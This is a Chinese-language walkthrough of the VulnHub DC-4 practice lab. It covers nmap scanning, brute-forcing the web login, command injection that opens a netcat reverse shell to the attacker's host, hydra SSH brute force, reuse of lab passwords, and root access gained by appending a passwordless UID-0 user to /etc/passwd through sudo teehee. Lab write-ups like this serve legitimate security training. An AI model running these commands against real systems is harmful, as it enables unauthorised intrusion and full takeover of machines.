DC-4
环境搭建
- 靶机镜像下载地址:https://vulnhub.com/entry/dc-4,313/
- 需要将靶机和 kali 攻击机放在同一个局域网里;
- 本实验kali 的 IP 地址:192.168.10.146。
渗透测试
使用 nmap 扫描 192.168.10.0/24 网段存活主机
┌──(root💀kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24
经判断,目标主机IP地址为192.168.10.150。
扫描开放的服务。
┌──(root💀kali)-[~/桌面]
└─# nmap -sS 192.168.10.150
查看下端口对应的服务版本。
┌──(root💀kali)-[~/桌面]
└─# nmap -sV -p 22,80 192.168.10.150
尝试搜索OpenSSH和nginx相关的exp,但是貌似没有适合的~
扫一下网站目录,也没有特别的地方~
没办法了,对网站用户名密码爆破一下吧
爆破出来的用户名为admin,密码为happy,成功登录(也许这里真的是需要爆破来突破)。
登录成功
点击“Command”看一看~
发现,里面有三个功能,可以执行3条系统命令:
- ls -l
- du -h
- df -h
抓个包,看看能不能修改执行的系统命令。
这里确实可以修改~
换成其他命令执行看看~可以正常返回结果~
开始写马~使用nc建立反弹连接
nc+192.168.10.146+4444+-e+/bin/bash
成功建立反弹连接
使用python获得下交互shell
python -c "import pty; pty.spawn('/bin/bash');"
接下来提权。
收集一下版本信息~
www-data@dc-4:/usr/share/nginx/html$ uname -a
www-data@dc-4:/usr/share/nginx/html$ cat /proc/version
...
搜了下相关内核漏洞提权脚本,没有~
搜一搜设置了SUID的文件:
www-data@dc-4:/usr/share/nginx/html$ find / -perm -u=s 2>/dev/null
貌似没有可以提权的命令.
查看下有哪些用户:
发现有三个用户:charles、jim、sam
查看了下,charles、sam的家目录下没有什么东西。
jim家目录下有两个文件,一个目录。
mbox没有权限访问,backups中有个旧密码备份?
/home/jim/backups/old-passwords.bak
拿这个密码爆破一下吧~
┌──(root💀kali)-[~/桌面]
└─# hydra -l jim -P ./ps.txt 192.168.10.150 ssh
结果如下
jim的密码是jibril04。成功登录~
看一下jim的sudo授权,并没有可利用的~
看一下mbox,有权限查看,是一封邮件。
有邮件,说明该系统时候邮件系统的,查看一下邮件
查看邮件jim,是charles发来的一封邮件,告诉了jim密码:^xHhA&hvim0y
使用该密码切换到charles
先看一下有没有sudo授权
发现,可以无密码执行/usr/bin/teehee
teehee命令可以往一个文件追加内容,可以通过它向/etc/passwd写入内容,新增一个超级用户
向passwd文件中追加一个超级用户。
charles@dc-4:~$ echo "hack::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
切换到hack用户。
成功拿到flag。
🔗Reference:DC-4